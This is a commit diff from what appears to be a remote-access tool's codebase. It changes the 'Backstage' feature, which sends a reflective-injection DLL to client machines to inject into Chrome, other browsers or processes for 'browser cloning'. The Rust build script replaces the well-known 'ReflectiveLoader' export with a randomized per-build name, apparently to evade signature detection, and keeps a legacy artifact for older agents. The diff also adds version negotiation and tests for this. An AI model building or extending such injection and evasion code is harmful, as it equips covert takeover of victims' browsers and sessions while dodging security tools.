add legacy mode and some cleanup
This commit is contained in:
@@ -31,16 +31,27 @@ fn main() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn generate_loader_entry() {
|
fn generate_loader_entry() {
|
||||||
let seed = SystemTime::now()
|
let name = match std::env::var("BACKSTAGE_LOADER_EXPORT").ok().as_deref() {
|
||||||
|
Some("ReflectiveLoader") => "ReflectiveLoader".to_string(),
|
||||||
|
Some(value) => panic!("unsupported BACKSTAGE_LOADER_EXPORT value: {value}"),
|
||||||
|
None => {
|
||||||
|
let seed = std::env::var("BACKSTAGE_LOADER_SEED")
|
||||||
|
.ok()
|
||||||
|
.and_then(|value| value.parse::<u64>().ok())
|
||||||
|
.unwrap_or_else(|| {
|
||||||
|
SystemTime::now()
|
||||||
.duration_since(UNIX_EPOCH)
|
.duration_since(UNIX_EPOCH)
|
||||||
.unwrap()
|
.unwrap()
|
||||||
.as_nanos() as u64
|
.as_nanos() as u64
|
||||||
^ (std::process::id() as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15);
|
^ (std::process::id() as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15)
|
||||||
let name = format!("x{:06x}", seed & 0xFFFF_FF);
|
});
|
||||||
|
format!("x{:06x}", seed & 0xFFFF_FF)
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
let src = format!(
|
let src = format!(
|
||||||
"// Generated by build.rs — do not edit.\n\
|
"// Generated by build.rs — do not edit.\n\
|
||||||
// Randomized per-build reflective loader export name.\n\
|
// Version-selected reflective loader export name.\n\
|
||||||
pub(crate) const LOADER_EXPORT: &[u8] = b\"{name}\\0\";\n\
|
pub(crate) const LOADER_EXPORT: &[u8] = b\"{name}\\0\";\n\
|
||||||
\n\
|
\n\
|
||||||
#[unsafe(no_mangle)]\n\
|
#[unsafe(no_mangle)]\n\
|
||||||
@@ -52,5 +63,6 @@ fn generate_loader_entry() {
|
|||||||
let out_dir = std::env::var("OUT_DIR").unwrap();
|
let out_dir = std::env::var("OUT_DIR").unwrap();
|
||||||
std::fs::write(std::path::Path::new(&out_dir).join("loader_entry.rs"), src)
|
std::fs::write(std::path::Path::new(&out_dir).join("loader_entry.rs"), src)
|
||||||
.expect("failed to write loader_entry.rs");
|
.expect("failed to write loader_entry.rs");
|
||||||
println!("cargo:rerun-if-changed=loader_entry.rs");
|
println!("cargo:rerun-if-env-changed=BACKSTAGE_LOADER_EXPORT");
|
||||||
|
println!("cargo:rerun-if-env-changed=BACKSTAGE_LOADER_SEED");
|
||||||
}
|
}
|
||||||
@@ -115,6 +115,19 @@ func TestGetProcessesLockingFileShortPathDoesNotPanic(t *testing.T) {
|
|||||||
_ = getProcessesLockingFile("a")
|
_ = getProcessesLockingFile("a")
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestIsBackstageLoaderExportSupportsBothCommandVersions(t *testing.T) {
|
||||||
|
for _, name := range []string{"ReflectiveLoader", "x012abc", "xffffff"} {
|
||||||
|
if !isBackstageLoaderExport(name) {
|
||||||
|
t.Fatalf("expected loader export %q to be accepted", name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for _, name := range []string{"reflectiveloader", "x012ABc", "x12345", "x1234567", "other"} {
|
||||||
|
if isBackstageLoaderExport(name) {
|
||||||
|
t.Fatalf("expected loader export %q to be rejected", name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func testEnvironmentBlock(t *testing.T, entries ...string) []uint16 {
|
func testEnvironmentBlock(t *testing.T, entries ...string) []uint16 {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
|
|||||||
@@ -456,10 +456,10 @@ var CommandVersionSupport = map[CommandType]CommandVersionRange{
|
|||||||
CommandBackstageSetQuality: {Min: 1, Max: 1},
|
CommandBackstageSetQuality: {Min: 1, Max: 1},
|
||||||
CommandBackstageSetResolution: {Min: 1, Max: 1},
|
CommandBackstageSetResolution: {Min: 1, Max: 1},
|
||||||
CommandBackstageStart: {Min: 1, Max: 1},
|
CommandBackstageStart: {Min: 1, Max: 1},
|
||||||
CommandBackstageStartBrowserInjected: {Min: 1, Max: 1},
|
CommandBackstageStartBrowserInjected: {Min: 1, Max: 2},
|
||||||
CommandBackstageStartChromeInjected: {Min: 1, Max: 1},
|
CommandBackstageStartChromeInjected: {Min: 1, Max: 2},
|
||||||
CommandBackstageStartProcess: {Min: 1, Max: 1},
|
CommandBackstageStartProcess: {Min: 1, Max: 1},
|
||||||
CommandBackstageStartProcessInjected: {Min: 1, Max: 1},
|
CommandBackstageStartProcessInjected: {Min: 1, Max: 2},
|
||||||
CommandBackstageStop: {Min: 1, Max: 1},
|
CommandBackstageStop: {Min: 1, Max: 1},
|
||||||
CommandBackstageWindowList: {Min: 1, Max: 1},
|
CommandBackstageWindowList: {Min: 1, Max: 1},
|
||||||
CommandClientLogsRequest: {Min: 1, Max: 1},
|
CommandClientLogsRequest: {Min: 1, Max: 1},
|
||||||
|
|||||||
@@ -17,14 +17,19 @@ func TestGeneratedWireContract(t *testing.T) {
|
|||||||
if !ok {
|
if !ok {
|
||||||
t.Fatalf("missing version range for %s", command)
|
t.Fatalf("missing version range for %s", command)
|
||||||
}
|
}
|
||||||
if versionRange.Min != 1 || versionRange.Max != 1 {
|
wantMax := 1
|
||||||
|
switch command {
|
||||||
|
case CommandBackstageStartBrowserInjected, CommandBackstageStartChromeInjected, CommandBackstageStartProcessInjected:
|
||||||
|
wantMax = 2
|
||||||
|
}
|
||||||
|
if versionRange.Min != 1 || versionRange.Max != wantMax {
|
||||||
t.Fatalf("unexpected version range for %s: %+v", command, versionRange)
|
t.Fatalf("unexpected version range for %s: %+v", command, versionRange)
|
||||||
}
|
}
|
||||||
if !IsSupportedCommandVersion(string(command), 1) {
|
if !IsSupportedCommandVersion(string(command), 1) {
|
||||||
t.Fatalf("%s must support v1", command)
|
t.Fatalf("%s must support v1", command)
|
||||||
}
|
}
|
||||||
if IsSupportedCommandVersion(string(command), 2) {
|
if IsSupportedCommandVersion(string(command), 2) != (wantMax == 2) {
|
||||||
t.Fatalf("%s must not support undeclared v2", command)
|
t.Fatalf("unexpected v2 support for %s", command)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if !IsCommandType("desktop_start") {
|
if !IsCommandType("desktop_start") {
|
||||||
|
|||||||
@@ -46,6 +46,27 @@ describe("command version negotiation", () => {
|
|||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
test("keeps legacy Backstage agents on v1 and negotiates v2 with new agents", () => {
|
||||||
|
const command = "backstage_start_browser_injected" as const;
|
||||||
|
const payload = { browser: "chrome", dll: new Uint8Array([1, 2, 3]) };
|
||||||
|
|
||||||
|
expect(versionCommandForClient({}, {
|
||||||
|
type: "command",
|
||||||
|
commandType: command,
|
||||||
|
id: "legacy-backstage",
|
||||||
|
payload,
|
||||||
|
})).toMatchObject({ commandVersion: 1, payload });
|
||||||
|
|
||||||
|
expect(versionCommandForClient({
|
||||||
|
commandVersions: { [command]: { min: 1, max: 2 } },
|
||||||
|
}, {
|
||||||
|
type: "command",
|
||||||
|
commandType: command,
|
||||||
|
id: "current-backstage",
|
||||||
|
payload,
|
||||||
|
})).toMatchObject({ commandVersion: 2, payload });
|
||||||
|
});
|
||||||
|
|
||||||
test("strictly reports missing commands and non-overlapping versions", () => {
|
test("strictly reports missing commands and non-overlapping versions", () => {
|
||||||
expect(getCommandCompatibility(
|
expect(getCommandCompatibility(
|
||||||
{ commandVersions: {} },
|
{ commandVersions: {} },
|
||||||
|
|||||||
@@ -377,11 +377,11 @@ export const COMMAND_VERSION_SUPPORT = {
|
|||||||
},
|
},
|
||||||
"backstage_start_browser_injected": {
|
"backstage_start_browser_injected": {
|
||||||
"min": 1,
|
"min": 1,
|
||||||
"max": 1
|
"max": 2
|
||||||
},
|
},
|
||||||
"backstage_start_chrome_injected": {
|
"backstage_start_chrome_injected": {
|
||||||
"min": 1,
|
"min": 1,
|
||||||
"max": 1
|
"max": 2
|
||||||
},
|
},
|
||||||
"backstage_start_process": {
|
"backstage_start_process": {
|
||||||
"min": 1,
|
"min": 1,
|
||||||
@@ -389,7 +389,7 @@ export const COMMAND_VERSION_SUPPORT = {
|
|||||||
},
|
},
|
||||||
"backstage_start_process_injected": {
|
"backstage_start_process_injected": {
|
||||||
"min": 1,
|
"min": 1,
|
||||||
"max": 1
|
"max": 2
|
||||||
},
|
},
|
||||||
"backstage_stop": {
|
"backstage_stop": {
|
||||||
"min": 1,
|
"min": 1,
|
||||||
|
|||||||
@@ -26,13 +26,23 @@ describe("generated wire protocol contract", () => {
|
|||||||
});
|
});
|
||||||
|
|
||||||
test("publishes a version range for every command", () => {
|
test("publishes a version range for every command", () => {
|
||||||
|
const versionedBackstageCommands = new Set([
|
||||||
|
"backstage_start_browser_injected",
|
||||||
|
"backstage_start_chrome_injected",
|
||||||
|
"backstage_start_process_injected",
|
||||||
|
]);
|
||||||
expect(Object.keys(COMMAND_VERSION_SUPPORT).length).toBe(COMMAND_TYPES.length);
|
expect(Object.keys(COMMAND_VERSION_SUPPORT).length).toBe(COMMAND_TYPES.length);
|
||||||
for (const command of COMMAND_TYPES) {
|
for (const command of COMMAND_TYPES) {
|
||||||
expect(COMMAND_VERSION_SUPPORT[command]).toEqual({ min: 1, max: 1 });
|
const isVersioned = versionedBackstageCommands.has(command);
|
||||||
|
expect(COMMAND_VERSION_SUPPORT[command]).toEqual({ min: 1, max: isVersioned ? 2 : 1 });
|
||||||
expect(isSupportedCommandVersion(command, 1)).toBe(true);
|
expect(isSupportedCommandVersion(command, 1)).toBe(true);
|
||||||
expect(isSupportedCommandVersion(command, 2)).toBe(false);
|
expect(isSupportedCommandVersion(command, 2)).toBe(isVersioned);
|
||||||
|
if (isVersioned) {
|
||||||
|
expect(() => getImplicitCommandVersion(command)).toThrow("explicit commandVersion");
|
||||||
|
} else {
|
||||||
expect(getImplicitCommandVersion(command)).toBe(1);
|
expect(getImplicitCommandVersion(command)).toBe(1);
|
||||||
}
|
}
|
||||||
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
test("drives the inbound client allowlist", () => {
|
test("drives the inbound client allowlist", () => {
|
||||||
|
|||||||
@@ -0,0 +1,13 @@
|
|||||||
|
import { describe, expect, test } from "bun:test";
|
||||||
|
import {
|
||||||
|
BACKSTAGE_DLL_NAME,
|
||||||
|
BACKSTAGE_LEGACY_DLL_NAME,
|
||||||
|
injectionDllCandidates,
|
||||||
|
} from "./backstage-dll-cache";
|
||||||
|
|
||||||
|
describe("Backstage DLL command-version artifacts", () => {
|
||||||
|
test("maps v1 to the fixed-export artifact and v2 to the randomized artifact", () => {
|
||||||
|
expect(injectionDllCandidates(1).every((candidate) => candidate.endsWith(BACKSTAGE_LEGACY_DLL_NAME))).toBe(true);
|
||||||
|
expect(injectionDllCandidates(2).every((candidate) => candidate.endsWith(BACKSTAGE_DLL_NAME))).toBe(true);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -5,66 +5,71 @@ import { logger } from "../logger";
|
|||||||
import { resolveRuntimeRoot } from "./runtime-paths";
|
import { resolveRuntimeRoot } from "./runtime-paths";
|
||||||
|
|
||||||
export const BACKSTAGE_DLL_NAME = "BackstageInjection.x64.dll";
|
export const BACKSTAGE_DLL_NAME = "BackstageInjection.x64.dll";
|
||||||
|
export const BACKSTAGE_LEGACY_DLL_NAME = "BackstageInjection.legacy.x64.dll";
|
||||||
|
|
||||||
// Where a freshly rebuilt BackstageInjection DLL is placed. The data dir is
|
// Where a freshly rebuilt BackstageInjection DLL is placed. The data dir is
|
||||||
// used so a re-randomized (rebuild) copy survives container restarts and is
|
// used so a re-randomized (rebuild) copy survives container restarts and is
|
||||||
// preferred over the image-baked dist-clients copy. Overrideable for unusual
|
// preferred over the image-baked dist-clients copy. Overrideable for unusual
|
||||||
// deployments.
|
// deployments.
|
||||||
export function backstageDllOutputPath(): string {
|
export function backstageDllOutputPath(commandVersion = 2): string {
|
||||||
const explicit = process.env.OVERLORD_BACKSTAGE_DLL_PATH?.trim();
|
const explicit = process.env.OVERLORD_BACKSTAGE_DLL_PATH?.trim();
|
||||||
if (explicit) return path.resolve(explicit);
|
if (explicit) {
|
||||||
return path.join(ensureDataDir(), "dist-clients", BACKSTAGE_DLL_NAME);
|
const resolved = path.resolve(explicit);
|
||||||
|
return commandVersion === 1
|
||||||
|
? path.join(path.dirname(resolved), BACKSTAGE_LEGACY_DLL_NAME)
|
||||||
|
: resolved;
|
||||||
|
}
|
||||||
|
const name = commandVersion === 1 ? BACKSTAGE_LEGACY_DLL_NAME : BACKSTAGE_DLL_NAME;
|
||||||
|
return path.join(ensureDataDir(), "dist-clients", name);
|
||||||
}
|
}
|
||||||
|
|
||||||
function builtinDllCandidates(): string[] {
|
function builtinDllCandidates(commandVersion: number): string[] {
|
||||||
const runtimeRoot = resolveRuntimeRoot();
|
const runtimeRoot = resolveRuntimeRoot();
|
||||||
|
const name = commandVersion === 1 ? BACKSTAGE_LEGACY_DLL_NAME : BACKSTAGE_DLL_NAME;
|
||||||
return [
|
return [
|
||||||
path.resolve(runtimeRoot, "dist-clients", BACKSTAGE_DLL_NAME),
|
path.resolve(runtimeRoot, "dist-clients", name),
|
||||||
path.resolve(process.cwd(), "dist-clients", BACKSTAGE_DLL_NAME),
|
path.resolve(process.cwd(), "dist-clients", name),
|
||||||
path.resolve(import.meta.dir, "../../dist-clients/BackstageInjection.x64.dll"),
|
path.resolve(import.meta.dir, "../../dist-clients", name),
|
||||||
];
|
];
|
||||||
}
|
}
|
||||||
|
|
||||||
export function injectionDllCandidates(): string[] {
|
export function injectionDllCandidates(commandVersion = 2): string[] {
|
||||||
// Fresh builds land in the data dir first; image-baked dist-clients copies
|
// Fresh builds land in the data dir first; image-baked dist-clients copies
|
||||||
// are the offline fallback.
|
// are the offline fallback.
|
||||||
return [backstageDllOutputPath(), ...builtinDllCandidates()];
|
return [backstageDllOutputPath(commandVersion), ...builtinDllCandidates(commandVersion)];
|
||||||
}
|
}
|
||||||
|
|
||||||
let _cachedInjectionDll: Uint8Array | null = null;
|
type DllCacheEntry = { bytes: Uint8Array; path: string; mtimeMs: number };
|
||||||
let _dllCachePath: string | null = null;
|
const dllCache = new Map<number, DllCacheEntry>();
|
||||||
let _dllCacheMtimeMs: number = 0;
|
|
||||||
|
|
||||||
export function invalidateBackstageDll(): void {
|
export function invalidateBackstageDll(): void {
|
||||||
_cachedInjectionDll = null;
|
dllCache.clear();
|
||||||
_dllCachePath = null;
|
|
||||||
_dllCacheMtimeMs = 0;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
export function getInjectionDllBytes(): Uint8Array | null {
|
export function getInjectionDllBytes(commandVersion = 2): Uint8Array | null {
|
||||||
const candidates = injectionDllCandidates();
|
const artifactVersion = commandVersion === 1 ? 1 : 2;
|
||||||
|
const candidates = injectionDllCandidates(artifactVersion);
|
||||||
|
const cached = dllCache.get(artifactVersion);
|
||||||
|
|
||||||
if (_dllCachePath) {
|
if (cached) {
|
||||||
// If a freshly rebuilt DLL exists in the data dir but the cache points at
|
// If a freshly rebuilt DLL exists in the data dir but the cache points at
|
||||||
// an older path, rescan instead of serving stale bytes.
|
// an older path, rescan instead of serving stale bytes.
|
||||||
const freshOutput = backstageDllOutputPath();
|
const freshOutput = backstageDllOutputPath(artifactVersion);
|
||||||
if (path.resolve(_dllCachePath) === path.resolve(freshOutput) || !existsSync(freshOutput)) {
|
if (path.resolve(cached.path) === path.resolve(freshOutput) || !existsSync(freshOutput)) {
|
||||||
try {
|
try {
|
||||||
const st = statSync(_dllCachePath);
|
const st = statSync(cached.path);
|
||||||
if (st.mtimeMs === _dllCacheMtimeMs && _cachedInjectionDll) {
|
if (st.mtimeMs === cached.mtimeMs) {
|
||||||
return _cachedInjectionDll;
|
return cached.bytes;
|
||||||
}
|
}
|
||||||
_cachedInjectionDll = new Uint8Array(readFileSync(_dllCachePath));
|
const bytes = new Uint8Array(readFileSync(cached.path));
|
||||||
_dllCacheMtimeMs = st.mtimeMs;
|
dllCache.set(artifactVersion, { bytes, path: cached.path, mtimeMs: st.mtimeMs });
|
||||||
logger.info(`[backstage] reloaded injection DLL from ${_dllCachePath} (${_cachedInjectionDll.length} bytes)`);
|
logger.info(`[backstage] reloaded v${artifactVersion} injection DLL from ${cached.path} (${bytes.length} bytes)`);
|
||||||
return _cachedInjectionDll;
|
return bytes;
|
||||||
} catch {
|
} catch {
|
||||||
_dllCachePath = null;
|
dllCache.delete(artifactVersion);
|
||||||
_cachedInjectionDll = null;
|
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
_dllCachePath = null;
|
dllCache.delete(artifactVersion);
|
||||||
_cachedInjectionDll = null;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -72,16 +77,15 @@ export function getInjectionDllBytes(): Uint8Array | null {
|
|||||||
if (!existsSync(dllPath)) continue;
|
if (!existsSync(dllPath)) continue;
|
||||||
try {
|
try {
|
||||||
const st = statSync(dllPath);
|
const st = statSync(dllPath);
|
||||||
_cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
|
const bytes = new Uint8Array(readFileSync(dllPath));
|
||||||
_dllCachePath = dllPath;
|
dllCache.set(artifactVersion, { bytes, path: dllPath, mtimeMs: st.mtimeMs });
|
||||||
_dllCacheMtimeMs = st.mtimeMs;
|
logger.info(`[backstage] loaded v${artifactVersion} injection DLL from ${dllPath} (${bytes.length} bytes)`);
|
||||||
logger.info(`[backstage] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
|
return bytes;
|
||||||
return _cachedInjectionDll;
|
|
||||||
} catch {
|
} catch {
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
logger.warn(`[backstage] injection DLL not found. Checked: ${candidates.join(", ")}`);
|
logger.warn(`[backstage] v${artifactVersion} injection DLL not found. Checked: ${candidates.join(", ")}`);
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
@@ -6,6 +6,7 @@ import { ensureToolchain, getToolchainRoot } from "./toolchain-manager";
|
|||||||
import { resolveRuntimeRoot } from "./runtime-paths";
|
import { resolveRuntimeRoot } from "./runtime-paths";
|
||||||
import {
|
import {
|
||||||
BACKSTAGE_DLL_NAME,
|
BACKSTAGE_DLL_NAME,
|
||||||
|
BACKSTAGE_LEGACY_DLL_NAME,
|
||||||
backstageDllOutputPath,
|
backstageDllOutputPath,
|
||||||
invalidateBackstageDll,
|
invalidateBackstageDll,
|
||||||
} from "./backstage-dll-cache";
|
} from "./backstage-dll-cache";
|
||||||
@@ -169,7 +170,8 @@ export async function rebuildBackstageDll(
|
|||||||
_building = true;
|
_building = true;
|
||||||
_lastBuild = { startedAt: Date.now(), finishedAt: null, ok: null, message: "Build started." };
|
_lastBuild = { startedAt: Date.now(), finishedAt: null, ok: null, message: "Build started." };
|
||||||
|
|
||||||
const outPath = backstageDllOutputPath();
|
const outPath = backstageDllOutputPath(2);
|
||||||
|
const legacyOutPath = backstageDllOutputPath(1);
|
||||||
const outDir = path.dirname(outPath);
|
const outDir = path.dirname(outPath);
|
||||||
|
|
||||||
try {
|
try {
|
||||||
@@ -205,19 +207,8 @@ export async function rebuildBackstageDll(
|
|||||||
fullEnv.PATH = [...binDirs, fullEnv.PATH || ""].filter(Boolean).join(path.delimiter);
|
fullEnv.PATH = [...binDirs, fullEnv.PATH || ""].filter(Boolean).join(path.delimiter);
|
||||||
}
|
}
|
||||||
Object.assign(fullEnv, env);
|
Object.assign(fullEnv, env);
|
||||||
|
delete fullEnv.BACKSTAGE_LOADER_EXPORT;
|
||||||
const proc = Bun.spawn(
|
delete fullEnv.BACKSTAGE_LOADER_SEED;
|
||||||
[
|
|
||||||
"cargo",
|
|
||||||
"build",
|
|
||||||
"--release",
|
|
||||||
"--target",
|
|
||||||
RUST_TARGET,
|
|
||||||
"--manifest-path",
|
|
||||||
path.join(crateDir, "Cargo.toml"),
|
|
||||||
],
|
|
||||||
{ env: fullEnv, stdout: "pipe", stderr: "pipe" },
|
|
||||||
);
|
|
||||||
|
|
||||||
const streamLines = async (stream: ReadableStream<Uint8Array> | null) => {
|
const streamLines = async (stream: ReadableStream<Uint8Array> | null) => {
|
||||||
if (!stream) return "";
|
if (!stream) return "";
|
||||||
@@ -234,22 +225,37 @@ export async function rebuildBackstageDll(
|
|||||||
return buf;
|
return buf;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const built = path.join(crateDir, "target", RUST_TARGET, "release", "BackstageInjection.dll");
|
||||||
|
const buildArtifact = async (loaderEnv: Record<string, string>, destination: string) => {
|
||||||
|
const proc = Bun.spawn(
|
||||||
|
[
|
||||||
|
"cargo",
|
||||||
|
"build",
|
||||||
|
"--release",
|
||||||
|
"--target",
|
||||||
|
RUST_TARGET,
|
||||||
|
"--manifest-path",
|
||||||
|
path.join(crateDir, "Cargo.toml"),
|
||||||
|
],
|
||||||
|
{ env: { ...fullEnv, ...loaderEnv }, stdout: "pipe", stderr: "pipe" },
|
||||||
|
);
|
||||||
const [stdoutText, stderrText] = await Promise.all([
|
const [stdoutText, stderrText] = await Promise.all([
|
||||||
streamLines(proc.stdout),
|
streamLines(proc.stdout),
|
||||||
streamLines(proc.stderr),
|
streamLines(proc.stderr),
|
||||||
]);
|
]);
|
||||||
const exitCode = await proc.exited;
|
const exitCode = await proc.exited;
|
||||||
|
|
||||||
if (exitCode !== 0) {
|
if (exitCode !== 0) {
|
||||||
const detail = stderrText.trim() || stdoutText.trim() || `cargo exit ${exitCode}`;
|
const detail = stderrText.trim() || stdoutText.trim() || `cargo exit ${exitCode}`;
|
||||||
throw new Error(`cargo build failed (exit ${exitCode}): ${detail}`);
|
throw new Error(`cargo build failed (exit ${exitCode}): ${detail}`);
|
||||||
}
|
}
|
||||||
|
|
||||||
const built = path.join(crateDir, "target", RUST_TARGET, "release", "BackstageInjection.dll");
|
|
||||||
if (!fs.existsSync(built)) {
|
if (!fs.existsSync(built)) {
|
||||||
throw new Error(`Expected built DLL not found at ${built}`);
|
throw new Error(`Expected built DLL not found at ${built}`);
|
||||||
}
|
}
|
||||||
fs.copyFileSync(built, outPath);
|
fs.copyFileSync(built, destination);
|
||||||
|
};
|
||||||
|
|
||||||
|
await buildArtifact({ BACKSTAGE_LOADER_SEED: String(Date.now()) }, outPath);
|
||||||
|
await buildArtifact({ BACKSTAGE_LOADER_EXPORT: "ReflectiveLoader" }, legacyOutPath);
|
||||||
|
|
||||||
const exportName = readPeExportName(outPath);
|
const exportName = readPeExportName(outPath);
|
||||||
invalidateBackstageDll();
|
invalidateBackstageDll();
|
||||||
@@ -258,7 +264,7 @@ export async function rebuildBackstageDll(
|
|||||||
startedAt: _lastBuild.startedAt,
|
startedAt: _lastBuild.startedAt,
|
||||||
finishedAt: Date.now(),
|
finishedAt: Date.now(),
|
||||||
ok: true,
|
ok: true,
|
||||||
message: `DLL rebuilt at ${outPath} (${fs.statSync(outPath).size} bytes, export: ${exportName ?? "unknown"}).`,
|
message: `DLLs rebuilt: ${BACKSTAGE_DLL_NAME} (${fs.statSync(outPath).size} bytes, export: ${exportName ?? "unknown"}) and ${BACKSTAGE_LEGACY_DLL_NAME} (${fs.statSync(legacyOutPath).size} bytes, export: ReflectiveLoader).`,
|
||||||
};
|
};
|
||||||
send({
|
send({
|
||||||
type: "output",
|
type: "output",
|
||||||
|
|||||||
@@ -5,6 +5,8 @@ import { logger } from "../logger";
|
|||||||
import { negotiateDesktopCodec } from "./desktop-codec-negotiation";
|
import { negotiateDesktopCodec } from "./desktop-codec-negotiation";
|
||||||
import { metrics } from "../metrics";
|
import { metrics } from "../metrics";
|
||||||
import { encodeMessage } from "../protocol";
|
import { encodeMessage } from "../protocol";
|
||||||
|
import { requireCommandVersion, versionCommandForClient } from "../command-compatibility";
|
||||||
|
import type { CommandType } from "../generated/wire-contract";
|
||||||
import { getInjectionDllBytes } from "./backstage-dll-cache";
|
import { getInjectionDllBytes } from "./backstage-dll-cache";
|
||||||
import * as sessionManager from "../sessions/sessionManager";
|
import * as sessionManager from "../sessions/sessionManager";
|
||||||
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
|
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
|
||||||
@@ -32,6 +34,19 @@ import {
|
|||||||
stopRemoteDesktopRecording,
|
stopRemoteDesktopRecording,
|
||||||
} from "./rd-recording";
|
} from "./rd-recording";
|
||||||
|
|
||||||
|
function getVersionedInjectionDll(
|
||||||
|
target: ClientInfo | undefined,
|
||||||
|
commandType: CommandType,
|
||||||
|
): Uint8Array | null {
|
||||||
|
if (!target) return null;
|
||||||
|
try {
|
||||||
|
return getInjectionDllBytes(requireCommandVersion(target, commandType));
|
||||||
|
} catch (error) {
|
||||||
|
logger.warn(`[backstage] cannot negotiate ${commandType}: ${error instanceof Error ? error.message : String(error)}`);
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
const VIEWER_BACKPRESSURE_BYTES = Math.max(
|
const VIEWER_BACKPRESSURE_BYTES = Math.max(
|
||||||
64 * 1024,
|
64 * 1024,
|
||||||
Number(process.env.OVERLORD_MEDIA_VIEWER_BACKPRESSURE_BYTES || 512 * 1024),
|
Number(process.env.OVERLORD_MEDIA_VIEWER_BACKPRESSURE_BYTES || 512 * 1024),
|
||||||
@@ -1343,7 +1358,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
|
|||||||
sendbackstageCommand(target, "backstage_kill_all", {});
|
sendbackstageCommand(target, "backstage_kill_all", {});
|
||||||
break;
|
break;
|
||||||
case "backstage_start_process_injected": {
|
case "backstage_start_process_injected": {
|
||||||
const dllData = getInjectionDllBytes();
|
const dllData = getVersionedInjectionDll(target, "backstage_start_process_injected");
|
||||||
if (!dllData) {
|
if (!dllData) {
|
||||||
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_process_injected");
|
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_process_injected");
|
||||||
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||||
@@ -1361,7 +1376,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case "backstage_start_chrome_injected": {
|
case "backstage_start_chrome_injected": {
|
||||||
const dllData = getInjectionDllBytes();
|
const dllData = getVersionedInjectionDll(target, "backstage_start_chrome_injected");
|
||||||
if (!dllData) {
|
if (!dllData) {
|
||||||
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_chrome_injected");
|
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_chrome_injected");
|
||||||
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||||
@@ -1377,7 +1392,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket<SocketData>, ra
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case "backstage_start_browser_injected": {
|
case "backstage_start_browser_injected": {
|
||||||
const dllData = getInjectionDllBytes();
|
const dllData = getVersionedInjectionDll(target, "backstage_start_browser_injected");
|
||||||
if (!dllData) {
|
if (!dllData) {
|
||||||
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_browser_injected");
|
logger.warn("[backstage] injection DLL not available, cannot send backstage_start_browser_injected");
|
||||||
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true });
|
||||||
@@ -1439,7 +1454,13 @@ export function sendbackstageCommand(target: ClientInfo | undefined, commandType
|
|||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
logger.debug(`[backstage] send command command=${commandType} client=${target.id} payload=${JSON.stringify(payload || {})}`);
|
logger.debug(`[backstage] send command command=${commandType} client=${target.id} payload=${JSON.stringify(payload || {})}`);
|
||||||
target.ws.send(encodeMessage({ type: "command", commandType: commandType as any, id: uuidv4(), payload }));
|
const command = versionCommandForClient(target, {
|
||||||
|
type: "command",
|
||||||
|
commandType: commandType as CommandType,
|
||||||
|
id: uuidv4(),
|
||||||
|
payload,
|
||||||
|
});
|
||||||
|
target.ws.send(encodeMessage(command));
|
||||||
metrics.recordCommand(commandType);
|
metrics.recordCommand(commandType);
|
||||||
return true;
|
return true;
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
|
|||||||
@@ -6,7 +6,38 @@
|
|||||||
"compatibility": "additive",
|
"compatibility": "additive",
|
||||||
"commandVersioning": {
|
"commandVersioning": {
|
||||||
"defaultVersion": 1,
|
"defaultVersion": 1,
|
||||||
"overrides": {}
|
"overrides": {
|
||||||
|
"backstage_start_browser_injected": {
|
||||||
|
"latestVersion": 2,
|
||||||
|
"changes": {
|
||||||
|
"2": {
|
||||||
|
"breaking": true,
|
||||||
|
"summary": "Use a Backstage injection DLL with a randomized reflective-loader export",
|
||||||
|
"migration": "Keep the v1 payload fields unchanged but supply a DLL exporting ReflectiveLoader; v2 supplies the same payload with a DLL whose loader export is x followed by six lowercase hexadecimal digits"
|
||||||
|
}
|
||||||
|
}
|
||||||
